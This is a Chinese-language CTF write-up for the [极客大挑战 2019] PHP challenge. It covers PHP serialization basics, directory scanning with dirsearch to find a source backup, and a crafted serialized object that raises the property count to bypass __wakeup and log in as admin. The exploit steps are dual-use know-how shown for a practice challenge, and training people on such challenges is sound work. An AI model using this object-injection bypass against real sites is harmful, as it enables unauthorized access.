[极客大挑战 2019]PHP
前提知识补充:PHP序列化与反序列化
1 | <?php |
类(class):(类似C语言中函数和结构体的结合,同时定义结构体和函数)
例子:
1 | class Car { |
代码解释
- 类的声明:
class Car开启了Car类的定义。 - 类的属性:
public $color;、public $brand;和public $speed;定义了Car类的三个属性,分别代表汽车的颜色、品牌和速度。public表示这些属性可以在类的外部直接访问(如果是private就无法在class外引用了,下面会有外部引用例子)。——————————–相当于C语言结构体定义。
- 构造方法
__construct:- $this->speed:相当于指针
- 构造方法是一种特殊的方法,在创建类的对象时会自动调用。
public function __construct($color, $brand, $speed = 0)接收三个参数,用于初始化汽车的颜色、品牌和速度。$speed参数有默认值0,意味着如果创建对象时没有提供速度值,汽车的初始速度将为 0。
- 类的方法:
public function accelerate($increase):该方法用于模拟汽车加速,接收一个参数$increase,表示速度的增加量。它会将当前速度加上增加量,并输出加速后的速度信息。public function brake($decrease):该方法用于模拟汽车刹车,接收一个参数$decrease,表示速度的减少量。它会确保速度不会小于 0,并输出刹车后的速度信息。
外部引用:(如果是private就无法引用)
1 | // 创建一个 Car 类的对象 |
序列化:(将 PHP 中可以将数组、对象等数据结构转化为一个字符串——–方便储存)
1 | $serialized = serialize($myArray); echo "Serialized: ". $serialized; |
serialize($myArray):serialize()是 PHP 内置的函数,用于将一个 PHP 变量(如数组、对象等)转换为一个可以存储或传输的字符串。这里将$myArray数组进行序列化,得到一个表示该数组的字符串。$serialized = serialize($myArray);:将序列化后的字符串赋值给变量$serialized。echo "Serialized: ". $serialized . "<br>";:使用echo语句输出序列化后的字符串,"<br>"是 HTML 中的换行标签,用于在浏览器中显示时换行。
序列化后的字符串格式是 PHP 特有的,例如上述代码序列化后的结果可能是:
1 | a:2:{s:4:"name";s:4:"John";s:3:"age";i:30;} |
- a:2:
表示这是一个包含 2 个元素的数组(a代表数组,2` 是元素数量)。 {...}包含了数组的具体元素。s:4:"name";表示一个字符串键'name',s代表字符串,4是字符串的长度。s:4:"John";表示键'name'对应的值是字符串'John'。s:3:"age";表示一个字符串键'age'。i:30;表示键'age'对应的值是整数30,i代表整数。
反序列化:(由机器看得懂的转化回我们看得懂的)
1 | $unserialized = unserialize($serialized); |
unserialize($serialized):unserialize()是serialize()的逆操作,用于将序列化后的字符串重新转换为原来的 PHP 变量。这里将$serialized字符串进行反序列化,得到原来的数组。$unserialized = unserialize($serialized);:将反序列化后的数组赋值给变量$unserialized。print_r($unserialized);:print_r()是 PHP 内置的函数,用于以易于阅读的格式输出变量的信息,通常用于调试。(单纯让页面更好看)- 这里将反序列化后的数组输出
1 | Array ( |
正片:
原理:正常输入数据会被序列化,再反序列化,再序列化过程中可能会有严格验证,我们直接输入序列化后的代码
,反序列化后就可以直接执行

提示我们要找备份网站,那就爆破一下:(windows环境试过好多次,失败了,最后只能含泪去虚拟机上了)
打开虚拟机centos,用Final Shell连接
1 | cd ~/dirsearch |
———–进入文件夹
1 | python3 dirsearch.py -u 地址 |
———–开始扫描

得到下载链接,下载得到需要文件

打开index.php得到:
1 | <?php |
使用get传输,并且用到了序列化与反序列化 —————–(unserialize就是反序列化函数)
打开class文件得到:
1 | <?php |
我们得出:
1 | 只有当最后反序列化后 |
正常来说
1 | function __wakeup(){ |
存在,会导致我们序列化时候输入的username一直为guest无法为目标admin,所以我们要想办法绕过这个
构造序列化代码:
1 | <?php |
得到:
1 | O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
这个时候只要把2改为3就能成功绕过__wakeup()啦(由于我们已知这两个信息是private信息,所以要加上%00)
构造最终payload:
1 | ?select= |
补充:
常用的内置方法:
construct():创建对象时初始化,当一个对象创建时被调用
wakeup() 使用unserialize时触发 //反序列化
sleep() 使用serialize时触发 //序列号
destruction():结束时销毁对象,当一个对象销毁时被调用
2025.2.24写完
[SCTF 2021]FUMO on the Christmas tree
考察点:万一不给你反序列化入口呢?